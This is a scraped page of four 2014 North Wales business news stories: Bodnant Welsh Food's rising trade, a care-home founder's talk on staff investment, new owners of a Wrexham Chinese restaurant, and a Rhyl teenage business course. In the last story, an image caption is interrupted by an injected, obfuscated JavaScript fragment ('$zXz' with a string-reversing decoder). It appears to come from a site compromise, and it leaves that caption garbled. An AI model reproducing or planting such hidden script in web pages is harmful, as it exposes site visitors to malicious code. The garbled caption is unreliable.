Category: News

Business is booming at Bodnant Welsh Food in the Conwy Valley

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Business is booming at a centre of excellence for Welsh food.

Trade at Bodnant Welsh Food in the Conwy Valley is up by almost 35 per cent on last year with the help of a surge of visitors from across the Atlantic combined with a growing band of local shoppers.

Increasing numbers of visitors are going to the farm shop, wine cellar, tea rooms, restaurant and farmhouse accommodation along with the Welsh Bee Centre.

The latest figures show that from July 2013 to July this year, revenue was £2.4m, up from £1.77m in the centre’s first year of trading.

The centre also saw 243,000 people calling in, up from 214,000  – an increase of 13.5% over the whole year.

The coming months are likely to bring even more overseas tourists, with inquiries from North America coming in, after Bodnant retail manager Rebecca Williams met more than 90 tour operators during a visit to Las Vegas with resident chef, Dai Chef, who was promoting the delights of Welsh food.

BODNANT WELSH FOODS . Pictured is Chef Dai Davies at Bodnant Welsh Foods.

The centre’s farm shop was recently named as the best in the UK by the prestigious BBC Good Food magazine – bringing a congratulatory tweet from Prince Charles who officially opened the complex in 2012.

_MG_9859 ceidiog

In addition, the centre’s home-made produce, from cheese to pies, have picked up a host of awards, including Rising Star at the UK FARMA Awards, while the Hayloft restaurant was named as a Good Food Guide’s Little Gem.

“This is a big vote of confidence for the quality of Welsh produce, and for the commitment from staff to make sure our customer service is the best possible,” said managing director Chris Morton, who oversees the £6.5m centre at Tal y Cafn.

“We are getting better known and more people are seeing us as a day-trip destination – a place to visit and enjoy themselves – as well as a good place to stop off and pick up something delicious to eat.

“We have a growing band of loyal customers, who return time and time again, to buy the products we make on site – our range of cheeses, ice-cream and butter, plus our pies and butchery goods.

“Overall, 45 per cent of all products sold in the shop are produced at Bodnant Welsh Food centre, and three-quarters of what we sell comes from Wales, including specialist foods from over 100 artisan producers.

“So our increase in trade is good for those local producers and the local economy as well – as we’re selling more and more of their goods, getting their wares known around the globe.

“We have welcomed more than 50 tours from North America - the States and Canada - who come for a cookery demonstration with our Welsh wizard, Dai Chef, who then cooks them up a culinary treat to eat as well.

“Dai has been in America promoting the best of British – and especially Welsh food and Rebecca went over to help him. She took the chance while she was there to meet a lot of tour operators to explain just what’s on offer in this part of the UK – we’re already seeing inquiries from that.

“We’ve had groups from elsewhere overseas: there’s a real interest in Wales by visitors from places such as Japan, plus we’ve had groups from cruise ships coming into Holyhead. We’d like to welcome more of them.

“Our research shows that we’ve also had plenty of UK visitors, who have made the most of the good weather since spring to come to Snowdonia for a day, a short break or a longer holiday and want to explore what’s on offer away from the beach.

“We have been promoting Bodnant heavily – for example, we are now part of the Attractions of Snowdonia marketing group – and that investment has paid off.”

Bodnant was voted champion pie-maker, and picked up 15 major prizes, in the Welsh Awards for Excellence in Meat Products. It was runner up in the Great British Food Produce Awards for its rib-eye steak, while Bodnant cheeses – made with milk from a neighbouring farm – took prizes at the International Cheese Awards.

Bodnant Welsh Food centre at Furnace Farm, Tal-y-cafn, in the Conwy valley, has its own dairy making cheese and ice cream, plus an on-site bakery and butchery, with award-winning pies. There’s also a wine store and tea rooms plus the Hayloft restaurant and farmhouse accommodation. More details at bodnant-welshfood.co.uk or call 01492 651100.

Wednesday October 15th, 2014

News

Investing in staff is key to business success says giant of healthcare

Wrexham Business Professionals.

A GIANT of the UK health sector says investing in his staff has been one of the main reasons for his success.

Mike Parsons, the founder and former chief executive of Barchester Healthcare, was a keynote speaker at the recent meeting of the Wrexham Business Professionals where he shared some of the secrets of his phenomenal achievement of transforming just one small care home into billion pound brand leader with around 300 homes.

Wrexham Business Professionals is a group of professional firms of solicitors and accountants who collaborate on a non-competitive basis to promote the development of businesses, skills and employment opportunities for professional people.

Wrexham Business Professionals.

Mr Parsons was guest of honour at their recent meeting at the town’s Ramada Plaza Hotel which took as its theme the “Business of Age” and attracted an 80-strong audience of members from across North Wales.

His business is viewed by many as one of the health sector’s true “success stories” and an example of how future healthcare should function.

He formed Barchester Healthcare in 1994 after a career in advertising that saw him rise to the position of Chief Operating Officer for Saatchi & Saatchi’s international business.

He also spent two years in the USA where he researched various new business ideas including long term care. He was particularly impressed with many of the Assisted Living facilities he saw in the US.

After returning to the UK in 1992, he set up Country Life Care Centres which merged with Eskgrove in 1994 to form Barchester Healthcare.

Earlier this year Barchester was listed in the Sunday Times Top 26 big companies to work for and one of Britain’s Top Employers 2013, and last year Mr Parsons was honoured with a Lifetime Achievement Award at the prestigious Wales Care Awards.

In 2013 he retired as Chief Executive Officer but remains on the board of Grove, Barchester’s holding company.

Mr Parsons told Wrexham Business Professionals that investing in people and “building a great team” had been one of the main themes running through various stages of his highly successful career.

He said: “In the field of care continuity of people is so vital. People like to see familiar faces and want their nurses and carers to be the same day after day, which is particularly true if someone has dementia.

“Barchester has created an academy for the training of its staff which, I am proud to say, now numbers between 16,000 and 17,000 people.

“The academy is a fully accredited degree-awarding body and over the years thousands of staff have been through it.

“Staff turnover in care is particularly high but our experience with the academy has shown that if you give people a proper career pathway this drops by two-thirds.”

Mr Parsons also spoke of Barchester’s successful apprenticeship scheme and explained: “This started five years ago with just five people and last year had over 1,000 apprentices – which is more than Rolls Royce.

“Four of the original five apprentices are still with us. They have moved up and progressed and are now managers in positions of some authority.

“Our apprenticeship scheme has been all about building a great team. It’s about taking young people, giving them a job and giving them a purpose.”

The invitation to Mr Parsons to address Wrexham Business Professionals was made on the group’s behalf by Mario Kreft, the proprietor of the Wrexham-based Pendine Park care organisation who is also the Chair of Care Forum Wales and the founder of the Wales Care Awards.

In his speech Mr Parsons had warm praise for Mr Kreft and his wife Gill for the “superb set-up” they had created at Pendine Park.

He also agreed with remarks made by Mr Kreft in his own speech earlier that a “perfect storm” had been created by a combination of a growing ageing population, a continuing reduction in public spending and problems in recruiting and adequate number of care staff.

But despite this, said Mr Kreft, there were “very definite opportunities” created by this situation.

He said: “Investing in social care makes good economic sense as it underpins the NHS.

“We have to invest in social care in the community, invest in new technologies and invest in our workforces.

“If the perfect storm is not counterbalanced we will have a society where people won’t be able to get into hospitals and where they will not be able to remain the community.

“It is therefore also essential that we keep the cost of care down and try where possible to keep people healthy.”

Other speakers at the meeting, who also took as their theme the specialist advice professionals such as accountants and solicitors could provide to the elderly, were Richard Costain, Director of Newlyn Financial Management Ltd and Principal Partner of St James Wealth Management, and Medwyn Edwards, Director of Hadlow Edwards Wealth Management Ltd and also a Principal Partner of St James Wealth Management.

Both associates of the Later Life Advisers organisation, they presented the audience with various scenarios for people about to go into care and gave answers to the questions these posed about the most effective ways of making financial provision for this.

Simon Griffiths, a member of the Wrexham Business Professionals, thanked all the speakers for their contributions.

He said: “The theme of the event was highly topical at a time of squeezed budgets and soaring need in terms of social care.

“While there are obviously many challenges to be face, we must also remember that social care is a force for economic good and a major employer that can offer excellent career prospects to those who want to progress.”

Tuesday October 14th, 2014

News

Wrexham: Real entrepreneurial duo takes charge at top Chinese restaurant

Real China, Eagles Meadow, Wrxeham. New owners Hongchen Wu and Sen Yang

A young entrepreneurial duo has taken the helm at a top Chinese restaurant.

Best friends Hongchen Wu, 25, and Sen Yang, 26 have taken charge at The Real China at Eagles Meadow shopping centre, in Wrexham.

The ex-Glyndwr University business management students, who have been best friends for over 10 years, come from the city of Dalian in China’s Liaoning province.

They both used to work at the restaurant during their studies and believe that Wrexham is the perfect place to start their entrepreneurial journey.

The buffet-style restaurant offers a mouth-watering selection of Asian delicacies alongside traditional Chinese dishes in a specialist food area.

Hongchen, who also runs student recruitment company Wyw Education with his business partner, believes in gaining experience from the ground up. He said: “I started at The Real China as a kitchen porter.

“We always wanted to own our own business but we wanted to gain some experience before we started up ourselves. We think getting the practical experience is very important. We want to combine that with the theoretical knowledge we gained at Glyndwr University to help us put the theory into practice.

“We are ready for the challenges that lie ahead. I feel really excited about the future, and am enthusiastic and passionate about the business. We are young and we have an intense drive to succeed. Our ambition is to open restaurants all over the UK.

“We have a lot of friends in Wrexham. The people here are very friendly. My friends suggested I try for a job at The Real China after it opened. They said it is really nice.”

Sen, who started at the Real China as a trainee manager, is no stranger to business. His parents owned a string of factories and stores through clothing company Rong Feng Clothing, in China.

He added: “Some people say you shouldn’t mix business and friendship but I don’t believe that. Hongchen and I have known each other since we were in school. We make a good team because we both have different strengths and we understand each other.

“I’ve learned a lot about the business since I’ve been here and I really appreciate that.

“Being part of the community is extremely important to me. We are going to focus on making sure we are engaged with it. A big part of my job is to interact with the customers and I really enjoy that.

“I have made a lot of friends since coming here. I actually came to the area because of friends in the first place because they recommended Glyndwr University. The people in Wrexham are very helpful and they are just so nice. That’s part of the reason why Wrexham is the perfect place to start, and the facilities at Eagles Meadow are very good.”

Waiter Nagy Istva’n, 26 who has worked at The Real China as a waiter since December 2013, added: “Eagles Meadow is nice and so is the The Real China. We always work hard to do our best here to cook good food and to give good service. We are always joking with each other so there is a great atmosphere here.”

Sen, added: “We are like a family at the restaurant, and we have a great team here. They are so much more than just employees.

“We are all the very best of friends here and we help each other out to solve problems.”

Eagles Meadow manager Kevin Critchley congratulated the entrepreneurs on their business venture.

He said: “It’s wonderful to see young entrepreneurs making their mark in the business world, and Eagles Meadow is the perfect place for them to do it.”

Monday October 13th, 2014

News

The future is sunny for budding entrepreneurs from North Wales

Llwyddo'n Lleol-7 ceidiog

A group of teenagers from Rhyl have spent the summer learning vital skills which could turn them into the UK’s future entrepreneurs.

Llwyddo'n Lleol  Budding entrpreneurs at the oaktree centre, Rhyl. pupils from Blessed Edward Jones school who <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[took part in a business course. Pictured is Alex Wilson and Jack Parry-Jones." src="http://dev.ceidiog.com/pr/files/2014/09/Llwyddon-Lleol-11-ceidiog.jpg" width="400" height="267" />

The 10 pupils of Blessed Edward Jones High School laid down plans to set up their own bustling production line making uniquely designed t-shirts and novelty mugs.

Llwyddo'n Lleol-6 ceidiog

The dynamic workforce volunteered to spend part of their summer school-break learning about cutting-edge 21st century business practices via the week-long course backed by Llwyddo’n Lleol, a project funded by the European Social Fund through the Welsh Government to help young people across Denbighshire develop their career paths.

In what has been one of the hottest summers in years, the heat really was on for the budding entrepreneurs. But they quickly rose to the challenge of thinking up an innovative new business idea, designing original artwork and logos to promote the product and formulating a master plan for getting their idea off the drawing board and out into the real world.

Llwyddo'n Lleol

The wannabe tycoons came up with a proposal for developing a subliminal printing business, producing state-of-the-art custom-designed t-shirts, and mugs.

Llwyddo'n Lleol-10 ceidiog

Denbighshire Council’s Llwyddo’n Lleol Project Officer, Jenni Edwards, said: “I am really impressed with these young people. They took time out of their school holidays to do this, seeing that it would be a way to arm themselves with the skills needed to kick-start their future careers.

“The goal was for them to reach a stage by the end of the week where they had learned all the basic business skills and done the essential groundwork needed to apply for a bursary to help them put their plan into practice and launch a starter business when they return to school.”

The two teams achieved their goal and are now hopeful of officially launching a fully operating commercial business.

Anthony Brown one of the tutors who led the skills workshop, at the Oaktree Centre, Ffordd Las, Rhyl said: “We were funded by Llwyddo’n Lleol to guide and advise the students and to teach them the skills needed to set up a modern day business and develop it so that it can survive in today’s competitive marketplace. Once they learned the skills, it was the students who put them into practice doing the research, designs and marketing studies needed to turn their ideas into reality.”

Llwyddo'n Lleol-8 ceidiog

The team chose subliminal printing because it uses the most modern techniques, enabling designs to go into the very fabric of the subject matter they are printed on, rather than sit on the surface, vulnerable to scratches or chips.

They have yet to finalise a name for the business though Keeley Howard and Joshua Price, both aged 14, relished the task of thinking up possibilities.

“I thought of Sunny Printers,” said Keeley. “Because Rhyl’s nickname is Sunny Rhyl and it also conveys the fun nature of our products.”

Joshua opted for Wondrous Designs, with a multi-coloured logo to match.

Jack Parry-Jones, aged 13, said he was happy to give up part of his holidays to join the course, as one day he hopes to run his own business.

He said: “I’m not sure what I want to produce yet, but this course has helped me learn more about the type of skills I’ll need to achieve my ambition when I eventually leave school.”

Jayne Smith of Blessed Edwards Jones added: “Llwyddo’n Lleol has been invaluable in enabling this course to happen, recognising the need to equip young people with the resources to survive in the modern workplace.

“It’s so important to make younger generations aware as early as possible of the opportunities which are out there for them.

"The business ideas they develop here can be put into practice when they go back to school, and used as a launch pad for a commercial school printing business. What’s more as these pupils leave school, they can hand over the reins to younger pupils coming through, so they will also benefit from hands-on business experience. As for the leavers, they can include their roles in running the school business on their CVs to prospective employers.”

The business workshop is just one of a number of Denbighshire projects supported by Llwyddo’n Lleol whose objectives are to build people’s entrepreneurial skills to boost their employment potential, to foster increased confidence among younger generations in the various opportunities local communities can offer them and to nurture a can do attitude.

Wednesday October 8th, 2014

News